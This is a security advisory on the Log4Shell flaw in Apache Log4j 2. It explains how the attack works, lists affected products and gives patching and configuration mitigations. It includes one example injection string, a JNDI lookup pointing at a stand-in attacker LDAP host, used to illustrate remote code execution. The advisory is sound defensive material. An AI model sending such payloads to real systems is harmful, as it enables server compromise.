Log4Shell Vulnerability

Log4Shell (CVE-2021-44228) is a critical vulnerability that has been actively exploited and scanned for by malicious actors since its discovery beginning of December. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.

What is Log4j 2?

The Log4Shell vulnerability results from how log messages are being handled by the processor in log4j2, an open-source logging service provided by the Apache Group that provides logging for numerous projects. It enables attackers to run arbitrary code on servers running vulnerable versions of the Apache Log4j 2 library.

An attacker can send a specially crafted message, which contains a link to a server they control. For example, they may send a message including the string ${jndi:ldap://evil.xa/x}, where ldap://evil.xa is the attacker-controlled server.

The specially crafted message is passed to the log4j library so it can be logged, but in doing so it queries the malicious server. The malicious server will then respond with directory information, along with whatever code the attacker wants to execute on the victim server. Finally, the victim server downloads this response and executes the code included in the response.

Some of the products known to be using this, and therefore vulnerable to the vulnerability, are:

Apache Druid
Apache Dubbo
Apache Flink
Apache Flume
Apache Hadoop
Apache Kafka
Apache Solr
Apache Spark
Apache Struts
Apache Tapestry
Apache Wicket
Elastic Elasticsearch
Elastic Logstash
Ghidra
Grails
Minecraft
Apache Tomcat
Dropwizard
Elastic Kibana
Hibernate
JavaServer Faces
Oracle ATG Web Commerce
Spring Framework

Why is this critical?

The vulnerability itself allows an attacker to load arbitrary – potentially malicious – code into the target server. This code might add a backdoor to a server, cryptojack or even carry out a ransomware attack.

The vulnerability was published earlier in December alongside a working proof-of-concept that would enable malicious actors to exploit it.

How to mitigate?

To mitigate against this vulnerability, we recommend installing the latest updates (2.15.0 or later), and the regular and timely updating of any affected third-party software. This should be done on all devices, not only those directly exposed to the internet.

To support the first priority action above, you also should determine if Log4j is installed elsewhere. Java applications can include all the dependent libraries within their installation. To do this, you should undertake a file system search for log4j, searching inside EAR, JAR and WAR files e.g.:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null

If a dependency or package manager is used, this can be searched. For example:

dpkg -l | grep log4j

There could be multiple copies of Log4j present and each copy will need to be updated or mitigated.

If updating Log4j 2 is not feasible, this vulnerability can still be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true”. This can be done by restarting the Java service through the use of an argument:

java -Dlog4j2.formatMsgNoLookups=true …

or you can set an Environment Variable for the JVM arguments:

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

Please contact your IT department with any questions on updates needed.

Source: www.cfcunderwriting.com